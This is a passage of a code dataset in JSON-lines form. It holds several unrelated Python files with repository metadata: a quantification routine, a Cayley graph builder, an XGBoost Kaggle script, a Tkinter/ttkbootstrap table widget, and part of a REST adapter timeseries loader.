self._estimated_global_prevalences[rate] != 0:\n                    corrected_prevalences.append(\n                        prevalence * self._true_global_prevalences[rate] / self._estimated_global_prevalences[rate])\n                else:\n                    corrected_prevalences.append(prevalence)\n                if test_global_prevalences[rate] != 0:\n                    test_corrected_prevalences.append(\n                        prevalence * self._true_global_prevalences[rate] / test_global_prevalences[rate])\n                else:\n                    test_corrected_prevalences.append(prevalence)\n\n            cumulative = sum(corrected_prevalences)\n            corrected_prevalences = [corrected_prevalence / cumulative for corrected_prevalence in\n                                     corrected_prevalences]\n            cumulative = sum(test_corrected_prevalences)\n            test_corrected_prevalences = [test_corrected_prevalence / cumulative for test_corrected_prevalence in\n                                          test_corrected_prevalences]\n\n            quantifications[group] = (simple_prevanlences, corrected_prevalences, test_corrected_prevalences)\n        return quantifications\n", "repo_name": "aesuli/semeval2016-task4", "sub_path": "regression_quantifier.py", "file_name": "regression_quantifier.py", "file_ext": "py", "file_size_in_byte": 3389, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "binary_tree_regressor.BinaryTreeRegressor", "line_number": 12, "usage_type": "call"}, {"api_name": "sklearn.svm.LinearSVC", "line_number": 12, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 17, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.clone", "line_number": 27, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 42, "usage_type": "call"}]}
{"seq_id": "8287219484", "text": "import networkx as nx\n\ndef groupSum(s, t, group):\n\tassert type(group) is tuple, \"group is not appropriate\"\n\tfor n in group:\n\t\tassert type(n) is int and n > 1, \"a group entry is not appropriate\"\n\trank = len(group)\n\tassert type(s) is tuple and len(s) == rank and type(t) is tuple and len(t) == rank, \"a group element is not a tuple of the correct length\"\n\tfor i in range(rank):\n\t\tassert type(s[i]) is int and 0 <= s[i] < group[i] and type(t[i]) is int and 0 <= t[i] < group[i], \"a group element has an entry which is not appropriate\"\n\treturn tuple([(s[i]+t[i])%group[i] for i in range(rank)])\n\nclass AbelianCayley:\n\t\n\tdef __init__(self, group, gens): # group is a tuple of positive integers (residues), group is a list of tuples of the same length where each is a proper residue. will generate a multigraph, so duplicates (up to sign) get counted twice\n\t\tassert type(group) is tuple, \"group is not appropriate\"\n\t\tfor n in group:\n\t\t\tassert type(n) is int and n > 1, \"a group modulus is not appropriate\"\n\t\tself.rank = len(group)\n\t\tassert type(gens) is list or type(gens) is int, \"gens is not appropriate\"\n\t\tfor s in gens:\n\t\t\tassert type(s) is tuple and len(s) == len(group), \"a generator is not a tuple of the correct length\"\n\t\t\tfor i in range(self.rank):\n\t\t\t\tassert type(s[i]) is int and 0 <= s[i] < group[i], \"a generator has an entry which is not appropriate\"\n\t\tself.size = 1\n\t\tfor n in group:\n\t\t\tself.size *= n\n\t\tV = [[n] for n in range(group[0])]\n\t\tfor i in range(1, self.rank):\n\t\t\tW = []\n\t\t\tfor t in V:\n\t\t\t\tfor m in range(group[i]):\n\t\t\t\t\tW.append(t + [m])\n\t\t\tV = W\n\t\tV = [tuple(t) for t in V]\n\t\tself.deg = 2*len(gens)\n\t\tself.graph = nx.MultiGraph()\n\t\tfor v in V:\n\t\t\tvString = str(v)\n\t\t\tfor s in gens:\n\t\t\t\tw = groupSum(v, s, group)\n\t\t\t\twString = str(w)\n\t\t\t\tself.graph.add_edge(vString, wString)\n\n# G = AbelianCayley((2,5), [(1,1)])\n# print(G.graph.number_of_edges())\n", "repo_name": "zstier/Graphs", "sub_path": "AbelianCayley.py", "file_name": "AbelianCayley.py", "file_ext": "py", "file_size_in_byte": 1868, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "networkx.MultiGraph", "line_number": 37, "usage_type": "call"}]}
{"seq_id": "71049547451", "text": "import pandas as pd\nimport numpy as np\n\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.externals import joblib\n\nimport xgboost as xgb\nimport lightgbm as lgb\n\ntrain_file = '../input/train.csv'\ntest_file = '../input/test.csv'\ntrain = pd.read_csv(train_file)\ntest = pd.read_csv(test_file)\ntest_ID = test['ID']\ny_train = train['target']\ny_train = np.log1p(y_train)\ntrain.drop(\"ID\", axis = 1, inplace = True)\ntrain.drop(\"target\", axis = 1, inplace = True)\ntest.drop(\"ID\", axis = 1, inplace = True)\nNUM_OF_DECIMALS = 32\ntrain = train.round(NUM_OF_DECIMALS)\ntest = test.round(NUM_OF_DECIMALS)\ntrain_zeros = pd.DataFrame({'Percent_zero':((train.values)==0).mean(axis=0),\n                           'Column' : train.columns})\n\nhigh_vol_columns = train_zeros['Column'][train_zeros['Percent_zero'] < 0.70].values\nlow_vol_columns = train_zeros['Column'][train_zeros['Percent_zero'] >= 0.70].values\n\ntrain = train.replace({0:np.nan})\ntest = test.replace({0:np.nan})\ncluster_sets = {\"low\":low_vol_columns, \"high\":high_vol_columns}\nfor cluster_key in cluster_sets:\n    for df in [train,test]:\n        df[\"count_not0_\"+cluster_key] = df[cluster_sets[cluster_key]].count(axis=1)\n        df[\"sum_\"+cluster_key] = df[cluster_sets[cluster_key]].sum(axis=1)\n        df[\"var_\"+cluster_key] = df[cluster_sets[cluster_key]].var(axis=1)\n        df[\"median_\"+cluster_key] = df[cluster_sets[cluster_key]].median(axis=1)\n        df[\"mean_\"+cluster_key] = df[cluster_sets[cluster_key]].mean(axis=1)\n        df[\"std_\"+cluster_key] = df[cluster_sets[cluster_key]].std(axis=1)\n        df[\"max_\"+cluster_key] = df[cluster_sets[cluster_key]].max(axis=1)\n        df[\"min_\"+cluster_key] = df[cluster_sets[cluster_key]].min(axis=1)\n        df[\"skew_\"+cluster_key] = df[cluster_sets[cluster_key]].skew(axis=1)\n        df[\"kurtosis_\"+cluster_key] = df[cluster_sets[cluster_key]].kurtosis(axis=1)\n\ntrain_more_simplified = train.drop(high_vol_columns,axis=1).drop(low_vol_columns,axis=1)\ntest_more_simplified = test.drop(high_vol_columns,axis=1).drop(low_vol_columns,axis=1)\ntrain_more_simplified.head()\ndef run_xgb(train_X, train_y, val_X, val_y, test_X):\n    params = {'objective': 'reg:linear', \n          'eval_metric': 'rmse',\n          'eta': 0.001,\n          'max_depth': 6, \n          'subsample': 0.6, \n          'colsample_bytree': 0.6,\n          'alpha':0.001,\n          'random_state': 42, \n          'silent': True}\n    print(\"Load matrices\")\n    tr_data = xgb.DMatrix(train_X, train_y)\n    va_data = xgb.DMatrix(val_X, val_y)\n    \n    print(\"Set watchlist\")\n    watchlist = [(tr_data, 'train'), (va_data, 'valid')]\n\n    print(\"Train model\")\n    model_xgb = xgb.train(params, tr_data, 20000, watchlist, maximize=False, early_stopping_rounds = 100, verbose_eval=100)\n    \n    dtest = xgb.DMatrix(test_X)\n    xgb_pred_y = np.expm1(model_xgb.predict(dtest, ntree_limit=model_xgb.best_ntree_limit))\n    \n    return xgb_pred_y, model_xgb\ndev_X, val_X, dev_y, val_y = train_test_split(train_more_simplified, y_train, test_size = 0.2, random_state = 40)\npred_test_xgb, model_xgb = run_xgb(dev_X, dev_y, val_X, val_y, test_more_simplified)\nprint(\"Finished!\")\nsub = pd.read_csv('../input/sample_submission.csv')\nsub[\"target\"] = pred_test_xgb\nsub.to_csv('sub_XGB_Aggregate_v2.csv', index=False)", "repo_name": "aorursy/new-nb-1", "sub_path": "ajarmstrong_separate-aggregates-for-dense-and-sparse-features.py", "file_name": "ajarmstrong_separate-aggregates-for-dense-and-sparse-features.py", "file_ext": "py", "file_size_in_byte": 3373, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 14, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.log1p", "line_number": 18, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 32, "usage_type": "attribute"}, {"api_name": "xgboost.DMatrix", "line_number": 61, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 62, "usage_type": "call"}, {"api_name": "xgboost.train", "line_number": 68, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.expm1", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 74, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 77, "usage_type": "call"}]}
{"seq_id": "25736168103", "text": "import tkinter as tk\r\nimport ttkbootstrap as ttk\r\nfrom ttkbootstrap.constants import *\r\nfrom ttkbootstrap.tooltip import ToolTip\r\n'''设置窗口大小和名称的类,不受窗口类型的影响,使用方法为win_geometry(窗口名,宽度,高度),\r\n此类不进行继承,经过处理的窗口按原类调用'''\r\n\r\n\r\nclass win_initialize:\r\n    def __init__(self, master: ttk.Window, inputwidth, inputheight, title='untitled'):\r\n        self.master = master\r\n        self.width = inputwidth\r\n        self.height = inputheight\r\n        self.titile = title\r\n        self.master.title(self.titile)\r\n        screenwidth = self.master.winfo_screenwidth()\r\n        screenheight = self.master.winfo_screenheight()\r\n        width = self.width\r\n        height = self.height\r\n        x = int((screenwidth-width)/2)\r\n        y = int((screenheight-height)/2)\r\n        if self.width >= int(13*screenwidth/14):\r\n            x = 0\r\n        if self.height >= int(12*screenheight/14):\r\n            y = 0\r\n        # if self.height-screenheight <= int(screenheight/12) and self.width == screenwidth:\r\n        #     try:\r\n        #         self.master.state('zoomed')\r\n        #     except:\r\n        #         self.master.attributes('-zoomed', True)\r\n        #     return None\r\n        # if width>=screenwidth or height>=screenheight:\r\n        #     try:\r\n        #         self.master.state('zoomed')\r\n        #     except:\r\n        #         self.master.attributes('-zoomed', True)\r\n        #     return None\r\n        self.master.geometry('{}x{}+{}+{}'.format(width, height, x, y))\r\n\r\n# --------------------------------------------------------------------------------------------------\r\n    # 使用实例化Treeview的方法对该类进行实例化，\r\n    # 必要传入的参数有columnid：一个列index的列表；\r\n    # showname，一个与columnid对应的显示列名的列表\r\n    # columnwidth，列宽度；其余参数按treeview类传入\r\n    #!!!!!只能接受数据库cursor反馈的数据\r\n\r\n\r\nclass table_view(ttk.Treeview):\r\n    def __init__(self, parent, columnid, showname,  data, columnwidth=100, selectmode=BROWSE, readonly=0, *args, **kwargs):\r\n        ttk.Treeview.__init__(self, parent, column=columnid,\r\n                              show='headings', selectmode=BROWSE, *args, **kwargs)\r\n        TreeviewStyle = ttk.Style()\r\n        TreeviewStyle.configure('Treeview', rowheight=40)\r\n        self.parent = parent\r\n        self.columnid = columnid\r\n        self.showname = showname\r\n        self.columnwidth = columnwidth\r\n        self.database_rows = data\r\n        self.selectmode = selectmode\r\n        self.readonly = readonly\r\n        self.amended_array = []\r\n        self.delete_array = []\r\n        self.tag_configure('amended', background='#009688', foreground='white')\r\n        self.tag_configure('deleted', background='#F44336', foreground='white')\r\n        self.tag_configure('outdated', background='#FF5722',\r\n                           foreground='white')\r\n        for i in range(len(columnid)):\r\n            self.column(self.columnid[i],\r\n                        width=self.columnwidth, anchor='center')\r\n            self.heading(self.columnid[i], text=self.showname[i])\r\n        self.bind('<Double-1>', self.entry_deploy)\r\n    # 双击触发entry\r\n\r\n    def entry_deploy(self, *args):\r\n        def entry_destroy(*args):\r\n            TreeviewEntry.destroy()\r\n            return False\r\n    # 不对entry中的值做任何处理，直接摧毁\r\n        # def srollbar_entry_destroy(event):\r\n        #     if event.x >= self.winfo_width() or event.y >= self.winfo_height() or event.x <= 0 or event.y <= 0:\r\n        #         try:\r\n        #             TreeviewEntry.get()\r\n        #         except:\r\n        #             pass\r\n        #         else:\r\n        #             value_deliver()\r\n        #     pass\r\n        # 检测到有人点击滚轮条，直接删除entry\r\n        # 相关动作以在table_viewS中内置，该方法弃用\r\n\r\n        def value_deliver():\r\n            if value_list[value_id] == TreeviewEntry.get():\r\n                TreeviewEntry.destroy()\r\n                self.reload()\r\n                return False\r\n            value_list[value_id] = TreeviewEntry.get()\r\n            # templist = (value_list[0], value_list[value_id], value_id)   #老式值返回方案，已弃用\r\n            TreeviewEntry.destroy()\r\n            temp = []\r\n            for row in self.delete_array:\r\n                if value_list[0] == row[0]:\r\n                    temp.append(row)\r\n                    break\r\n            for item in temp:\r\n                self.delete_array.remove(row)\r\n            temp = []\r\n            for row in self.amended_array:\r\n                if value_list[0] == row[0]:\r\n                    temp.append(row)\r\n                    break\r\n            for row in temp:\r\n                self.amended_array.remove(row)\r\n            self.amended_array.append(value_list)\r\n            self.reload()\r\n            return True\r\n\r\n            # 修改行所有的值会被作为一个列表添加到self.amended_array中\r\n            # 在老式返回方案中\r\n            # deliver方法向self.amended_array末尾添加一个含三个元素的元组\r\n            # 元组构成（所在行第一列当作主键的元素值，修改后的值，被修改元素的索引）\r\n        if(args[0] == 'd' or self.readonly == 1):\r\n            for widget in self.winfo_children():\r\n                if isinstance(widget, ttk.Entry):\r\n                    widget.destroy()\r\n            return True\r\n        box = self.bbox(self.selection())\r\n        TreeviewEntry = ttk.Entry(\r\n            self, justify='center', width=25)\r\n        column_len = len(self.columnid)\r\n        value_list = list(self.item(self.selection(), option='values'))\r\n        if len(box) < 3:\r\n            return False\r\n        bwidth = int(box[2]/column_len)\r\n        entry_x = box[0]\r\n        value_id = 0\r\n        # 点击y轴是否在列范围内，且此时Treeview应为单选模式\r\n        # ----------------------------------------------------------------------------------------------------------------------------\r\n\r\n        if (args[0].y in range(box[1], box[1]+box[3])) and self.selectmode == BROWSE:\r\n            for i in range(column_len):  # 默认第一列为不可更改的primary key\r\n                if int(args[0].x) in range(entry_x+(i+1)*bwidth, entry_x+(i+2)*bwidth):\r\n                    entry_x += (i+1)*bwidth  # if直接从第二列判定鼠标坐标是否在范围内\r\n                    value_id += (i+1)  # 确定所在列index，改index为所在列的值列表的index\r\n                    if value_id >= len(self.columnid):\r\n                        return False\r\n                    TreeviewEntry.place(\r\n                        x=entry_x, y=box[1], width=bwidth, height=box[3], anchor=NW)\r\n                    TreeviewEntry.insert(-1, value_list[value_id])\r\n                    self.see(self.selection())\r\n                    TreeviewEntry.focus_set()\r\n                    TreeviewEntry.bind(\r\n                        '<FocusOut>', lambda event: value_deliver())\r\n                    self.bind('<Configure>', lambda event: entry_destroy())\r\n                    #self.parent.bind('<1>', srollbar_entry_destroy)\r\n                    #self.bind('<Leave>', srollbar_entry_destroy)\r\n                    TreeviewEntry.bind(\r\n                        '<MouseWheel>', lambda event: entry_destroy())\r\n                    self.bind('<MouseWheel>', lambda event:  entry_destroy())\r\n                    self.parent.bind(\r\n                        '<MouseWheel>', lambda event:  entry_destroy())\r\n                    TreeviewEntry.bind(\r\n                        '<Return>', lambda event: value_deliver())\r\n                    TreeviewEntry.bind(\r\n                        '<Escape>', lambda event: entry_destroy())\r\n        return 0\r\n        # 进行监视的三个动作分别为：entry失焦：直接摧毁entry中止输入；\r\n        # sheetview大小改变：直接摧毁entry中止输入，此举是防止窗口大小改变后entry在错误位置\r\n        # 回车键被按下：执行值传递\r\n\r\n    def clear(self):\r\n        childrens = self.get_children()\r\n        for i in childrens:\r\n            self.delete(i)\r\n        return True\r\n        # 清空sheetview上的所有内容\r\n\r\n    def deliver(self):\r\n        temp = self.amended_array\r\n        self.amended_array = []\r\n        return temp\r\n        # 将值传出后重置实例内部存储的值\r\n\r\n    def delete_passing(self):\r\n        temp = []\r\n        for row in self.delete_array:\r\n            temp.append(row[0])\r\n        self.delete_array = []\r\n        return temp\r\n\r\n    def get_amended(self):\r\n        return self.amended_array\r\n        # 传出值，但不重置实例存储数据\r\n\r\n    def get_deleted(self):\r\n        return self.delete_array\r\n\r\n    def load(self):\r\n        insert_flag = 0\r\n        for row in self.database_rows:\r\n            for amended_row in self.amended_array:\r\n                if row[0] == amended_row[0]:\r\n                    self.insert('', 'end', values=amended_row, tags='amended')\r\n                    insert_flag = 1\r\n                    break\r\n            for deleted_row in self.delete_array:\r\n                if row[0] == deleted_row[0]:\r\n                    self.insert('', 'end', values=deleted_row, tags='deleted')\r\n                    insert_flag = 1\r\n                    break\r\n            if insert_flag == 0:\r\n                self.insert('', 'end', values=row)\r\n            insert_flag = 0\r\n        return True\r\n\r\n    def entry_state(self, state):\r\n        if state == 0:\r\n            self.config(selectmode=EXTENDED)\r\n            self.selectmode = EXTENDED\r\n            return True\r\n        if state == 1:\r\n            self.config(selectmode=BROWSE)\r\n            self.selectmode = BROWSE\r\n            return True\r\n        return False\r\n\r\n    def reload(self, data=0):\r\n        if data != 0:\r\n            self.database_rows = data\r\n        self.clear()\r\n        self.load()\r\n        return True\r\n\r\n    def delete_row(self):\r\n        delete_table_index = self.selection()\r\n        delete_index_dict = {}\r\n        for row in self.delete_array:\r\n            delete_index_dict[row[0]] = row\r\n        for item in delete_table_index:\r\n            if(self.item(item, option='values'))[0] not in delete_index_dict:\r\n                self.delete_array.append(\r\n                    list(self.item(item, option='values')))\r\n            else:\r\n                if (list(self.item(item, option='values'))) in self.database_rows:\r\n                    self.delete_array.remove(\r\n                        delete_index_dict[(self.item(item, option='values'))[0]])\r\n                if (list(self.item(item, option='values'))) not in self.database_rows:\r\n                    self.amended_array.append(\r\n                        list(self.item(item, option='values')))\r\n                    self.delete_array.remove(\r\n                        delete_index_dict[(self.item(item, option='values'))[0]])\r\n        self.reload()\r\n        temp = []\r\n        for row in self.amended_array:\r\n            for delete_row in self.delete_array:\r\n                if row[0] == delete_row[0]:\r\n                    temp.append(row)\r\n                    break\r\n        for row in temp:\r\n            self.amended_array.remove(row)\r\n        temp = []\r\n        self.reload()\r\n        return True\r\n\r\n    def selected_value(self):\r\n        temp = []\r\n        for index in self.selection():\r\n            temp.append(self.item(index, option='values'))\r\n        return temp\r\n\r\n\r\nclass table_viewS(ttk.Frame):\r\n    def __init__(self, parent, columnid, showname,  data, columnwidth=100, selectmode=BROWSE, readonly=0, *args, **kwargs):\r\n        ttk.Frame.__init__(self, parent)\r\n        # 变量转接\r\n        self.parent = parent\r\n        self.columnid = columnid\r\n        self.showname = showname\r\n        self.columwidth = columnwidth\r\n        self.data = data\r\n        self.selectmode = selectmode\r\n        self.readonly = readonly\r\n        self.args = args\r\n        self.kargs = kwargs\r\n\r\n        # 内部变量\r\n        self.search_result = []\r\n        self.delete_array = []\r\n        self.multiselect_var = ttk.IntVar(value=1)\r\n\r\n        # 内部方法\r\n        def search():\r\n            data_array = self.data\r\n            for row in data_array:\r\n                for item in row:\r\n                    if search_entry.get().upper() in str(item).upper():\r\n                        self.search_result.append(row)\r\n                        break\r\n            self.temp_load(self.search_result)\r\n            self.search_result = []\r\n            return True\r\n\r\n        def reset():\r\n            self.reload()\r\n            return True\r\n\r\n        def multi_select():\r\n            if self.multiselect_var.get() == 0:\r\n                self.InnerTableview.entry_state(self.multiselect_var.get())\r\n            if self.multiselect_var.get() == 1:\r\n                self.InnerTableview.entry_state(self.multiselect_var.get())\r\n                temp_id_array = self.InnerTableview.selection()\r\n                for item in temp_id_array:\r\n                    self.InnerTableview.selection_remove(item)\r\n            return True\r\n\r\n        # def delete():\r\n        #     pass\r\n\r\n        # 组件定义\r\n        self.InnerTableview = table_view(\r\n            self, self.columnid, self.showname,  self.data, self.columwidth, selectmode=self.selectmode, readonly=self.readonly)\r\n        search_entry = ttk.Entry(\r\n            self, width=40, validate='key', validatecommand=search)\r\n        search_entry.bind('<Return>', lambda event: search)\r\n        search_label = ttk.Label(self, text='  搜索:', justify=RIGHT)\r\n        scrollbar = ttk.Scrollbar(\r\n            self, command=self.InnerTableview.yview)\r\n\r\n        def scroll_command(*args):\r\n            self.InnerTableview.entry_deploy('d')\r\n            scrollbar.set(first=args[0], last=args[1])\r\n        self.InnerTableview.config(yscrollcommand=scroll_command)\r\n        search_button = ttk.Button(self, text='搜索', command=search)\r\n        ToolTip(search_button, text=\"点击搜索\")\r\n        reset_button = ttk.Button(self, text='刷新', command=reset)\r\n        ToolTip(reset_button, text=\"退出搜索恢复到默认视野\")\r\n        multiselect_button = ttk.Checkbutton(\r\n            self, text='多选模式', variable=self.multiselect_var, command=multi_select, onvalue=0, offvalue=1, bootstyle=\"warning-square-toggle\")\r\n        ToolTip(multiselect_button,\r\n                text='''开启多选模式，按住Ctrl键点击待删除行，开启后无法触发修改，关闭后恢复。如果想取消修改\r\n                ，双击需取消删除行的任一可修改项后，按Enter键将行状态修改为待修改即可。''', wraplength=90)\r\n        delete_button = ttk.Button(\r\n            self, text='删除', command=self.delete_row, bootstyle='warning')\r\n        if self.readonly == 1:\r\n            delete_button.config(state='disable')\r\n            multiselect_button.config(state='disable')\r\n        if readonly != 1:\r\n            ToolTip(delete_button, text=\"将目标标记为删除，点击应用修改后生效\", wraplength=10)\r\n        else:\r\n            ToolTip(delete_button, text=\"查询模式下不可进行删除操作！\", wraplength=10)\r\n        search_label.grid(column=0, row=0, padx=(10, 0),\r\n                          pady=5,  sticky=(W, S, N, E))\r\n        search_entry.grid(column=1, row=0, columnspan=3,\r\n                          padx=(0, 5), pady=5, sticky=(W, S, N, E))\r\n        search_button.grid(column=4, row=0, padx=5,\r\n                           pady=5, sticky=(W, S, N, E))\r\n        reset_button.grid(column=5, row=0, padx=5, pady=5, sticky=(W, S, N, E))\r\n        multiselect_button.grid(column=6, row=0, padx=5,\r\n                                pady=5, sticky=(W, S, N, E))\r\n        delete_button.grid(column=7, row=0, padx=5,\r\n                           pady=5, sticky=(W, S, N, E))\r\n        self.InnerTableview.grid(\r\n            column=0, row=1, columnspan=8, rowspan=6, sticky=(W, S, N, E))\r\n        scrollbar.grid(column=8, row=1, rowspan=6, sticky=(W, S, N, E))\r\n        for i in range(6):\r\n            self.columnconfigure(i, weight=1)\r\n        for i in range(1, 7):\r\n            self.rowconfigure(i, weight=1)\r\n\r\n# 传递table_view的方法\r\n    def clear(self):\r\n        t = self.InnerTableview.clear()\r\n        return t\r\n\r\n    def deliver(self):\r\n        t = self.InnerTableview.deliver()\r\n        return t\r\n\r\n    def delete_passing(self):\r\n        t = self.InnerTableview.delete_passing()\r\n        return t\r\n\r\n    def get_amended(self):\r\n        t = self.InnerTableview.get_amended()\r\n        return t\r\n\r\n    def get_deleted(self):\r\n        t = self.InnerTableview.get_deleted()\r\n        return t\r\n\r\n    def load(self):\r\n        t = self.InnerTableview.load()\r\n        return t\r\n\r\n    def reload(self, data=0):\r\n        if data != 0:\r\n            self.data = data\r\n        else:\r\n            data = self.data\r\n        t = self.InnerTableview.reload(data)\r\n        return t\r\n\r\n    def temp_load(self, data=0):\r\n        t = self.InnerTableview.reload(data)\r\n        return t\r\n\r\n    def entry_state(self, state):\r\n        t = self.InnerTableview(state)\r\n        return t\r\n\r\n    def delete_row(self):\r\n        t = self.InnerTableview.delete_row()\r\n        return t\r\n\r\n    def selected_value(self):\r\n        t=self.InnerTableview.selected_value()\r\n        return t", "repo_name": "SiderWorker/-Grocery-management-software", "sub_path": "StableClass.py", "file_name": "StableClass.py", "file_ext": "py", "file_size_in_byte": 17451, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ttkbootstrap.Window", "line_number": 10, "usage_type": "attribute"}, {"api_name": "ttkbootstrap.Treeview", "line_number": 48, "usage_type": "attribute"}, {"api_name": "ttkbootstrap.Treeview.__init__", "line_number": 50, "usage_type": "call"}, {"api_name": "ttkbootstrap.Treeview", "line_number": 50, "usage_type": "attribute"}, {"api_name": "ttkbootstrap.Style", "line_number": 52, "usage_type": "call"}, {"api_name": "ttkbootstrap.Entry", "line_number": 123, "usage_type": "attribute"}, {"api_name": "ttkbootstrap.Entry", "line_number": 127, "usage_type": "call"}, {"api_name": "ttkbootstrap.Frame", "line_number": 271, "usage_type": "attribute"}, {"api_name": "ttkbootstrap.Frame.__init__", "line_number": 273, "usage_type": "call"}, {"api_name": "ttkbootstrap.Frame", "line_number": 273, "usage_type": "attribute"}, {"api_name": "ttkbootstrap.IntVar", "line_number": 288, "usage_type": "call"}, {"api_name": "ttkbootstrap.Entry", "line_number": 322, "usage_type": "call"}, {"api_name": "ttkbootstrap.Label", "line_number": 325, "usage_type": "call"}, {"api_name": "ttkbootstrap.Scrollbar", "line_number": 326, "usage_type": "call"}, {"api_name": "ttkbootstrap.Button", "line_number": 333, "usage_type": "call"}, {"api_name": "ttkbootstrap.tooltip.ToolTip", "line_number": 334, "usage_type": "call"}, {"api_name": "ttkbootstrap.Button", "line_number": 335, "usage_type": "call"}, {"api_name": "ttkbootstrap.tooltip.ToolTip", "line_number": 336, "usage_type": "call"}, {"api_name": "ttkbootstrap.Checkbutton", "line_number": 337, "usage_type": "call"}, {"api_name": "ttkbootstrap.tooltip.ToolTip", "line_number": 339, "usage_type": "call"}, {"api_name": "ttkbootstrap.Button", "line_number": 342, "usage_type": "call"}, {"api_name": "ttkbootstrap.tooltip.ToolTip", "line_number": 348, "usage_type": "call"}, {"api_name": "ttkbootstrap.tooltip.ToolTip", "line_number": 350, "usage_type": "call"}]}
{"seq_id": "17298162722", "text": "import logging\nfrom collections import defaultdict\nfrom collections.abc import Iterable\nfrom typing import Any\n\nimport numpy as np\nimport pandas as pd\n\nfrom hetdesrun.adapters.exceptions import (\n    AdapterClientWiringInvalidError,\n    AdapterHandlingException,\n)\nfrom hetdesrun.adapters.generic_rest.external_types import ExternalType\nfrom hetdesrun.adapters.generic_rest.load_framelike import load_framelike_data\nfrom hetdesrun.models.data_selection import FilteredSource\n\nlogger = logging.getLogger(__name__)\n\n\nasync def load_ts_data_from_adapter(\n    filtered_sources: list[FilteredSource],\n    filter_params: Iterable[tuple[str, Any]],\n    adapter_key: str,\n) -> pd.DataFrame:\n    \"\"\"Load data from generic rest adapter timeseries endpoint\n\n    filtered_sources are expected to all have the exact same type which must be a\n    timeseries(...) variant.\n\n    Data is returned as a DataFrame with a timestamp column,\n    a \"value\" column with automatically inferred dtype\n    and a timeseriesId column with dtype str.\n\n    This uses request with stream=True in combination with the raw response as file-like together\n    with Pandas read_json class method to get some minor performance out of the streaming.\n\n    It therefore currently isn't async.\n    \"\"\"\n\n    df = await load_framelike_data(\n        filtered_sources=filtered_sources,\n        additional_params=list(filter_params),\n        adapter_key=adapter_key,\n        endpoint=\"timeseries\",\n    )\n\n    if \"timeseriesId\" in df.columns:\n        df[\"timeseriesId\"] = df[\"timeseriesId\"].astype(\"string\")\n\n    return df\n\n\ndef extract_one_channel_series_from_loaded_data(\n    df: pd.DataFrame, ts_id: str\n) -> pd.Series:\n    try:\n        extracted_df = df[df[\"timeseriesId\"] == ts_id].copy()\n        extracted_df.index = extracted_df[\"timestamp\"]\n        extracted_series = extracted_df[\"value\"].sort_index()\n        extracted_series.attrs = df.attrs.get(ts_id, {})\n        logger.debug(\n            \"extracted attributes %s for series with id %s\",\n            extracted_series.attrs,\n            ts_id,\n        )\n    except KeyError as e:\n        msg = (\n            f\"Missing keys in received timeseries records. Got columns {str(df.columns)}\"\n            f\" with dataframe of shape {str(df.shape)}:\\n{str(df)}\"\n        )\n        logger.info(msg)\n        raise AdapterHandlingException(msg) from e\n\n    extracted_series.name = ts_id\n\n    return extracted_series\n\n\nasync def load_grouped_timeseries_data_together(\n    data_to_load: dict[str, FilteredSource], adapter_key: str\n) -> dict[str, pd.Series]:\n    \"\"\"Reorganize query information by timestamp pairs and load timeseries data\n\n    Generic Rest Adapter allows to query for multiple timeseries in one request but then only with\n    one timestamp filter pair and same (requested) value type for all those timeseries.\n\n    This function expects data refs of the timeseries type,\n    groups them together if they have same filter timestamp pairs and same value type,\n    loads each such group in one request\n    and returns all results gathered.\n    \"\"\"\n    loaded_data = {}\n\n    # group by occuring timestamp pairs\n    group_by_filters_and_external_type: dict[\n        tuple[frozenset[tuple[Any, Any]], ExternalType],\n        dict[str, FilteredSource],\n    ] = defaultdict(dict)\n\n    for filtered_source in data_to_load.values():\n        if (\n            not isinstance(filtered_source.filters.get(\"timestampFrom\", None), str)\n        ) or (not isinstance(filtered_source.filters.get(\"timestampTo\", None), str)):\n            raise AdapterClientWiringInvalidError(\n                \"Timeseries data with no to/from filters.\"\n            )\n\n    for key, filtered_source in data_to_load.items():\n        filtered_source.filters[\"from\"] = filtered_source.filters.pop(\"timestampFrom\")\n        filtered_source.filters[\"to\"] = filtered_source.filters.pop(\"timestampTo\")\n        group_by_filters_and_external_type[\n            (\n                frozenset(filtered_source.filters.items()),\n                ExternalType(filtered_source.type),\n            )\n        ][key] = filtered_source\n\n    # load each group together:\n    for group_tuple, grouped_source_dict in group_by_filters_and_external_type.items():\n        loaded_ts_data_from_adapter = await load_ts_data_from_adapter(\n            list(grouped_source_dict.values()),\n            group_tuple[0],\n            adapter_key=adapter_key,\n        )\n\n        loaded_data.update(\n            {\n                key: extract_one_channel_series_from_loaded_data(\n                    loaded_ts_data_from_adapter,\n                    filtered_source.ref_id,  # type: ignore\n                )\n                for key, filtered_source in grouped_source_dict.items()\n            }\n        )\n\n        try:\n            received_ids = loaded_ts_data_from_adapter[\"timeseriesId\"].unique()\n        except KeyError as e:\n            msg = (\n                f\"Missing keys in received timeseries records.\"\n                f\" Got columns {str(loaded_ts_data_from_adapter.columns)}\"\n                f\" with dataframe of shape {str(loaded_ts_data_from_adapter.shape)}:\\n\"\n                f\"{str(loaded_ts_data_from_adapter)}\"\n            )\n            logger.info(msg)\n            raise AdapterHandlingException(msg) from e\n\n        queried_ids = [fs.ref_id for fs in grouped_source_dict.values()]\n\n        if not 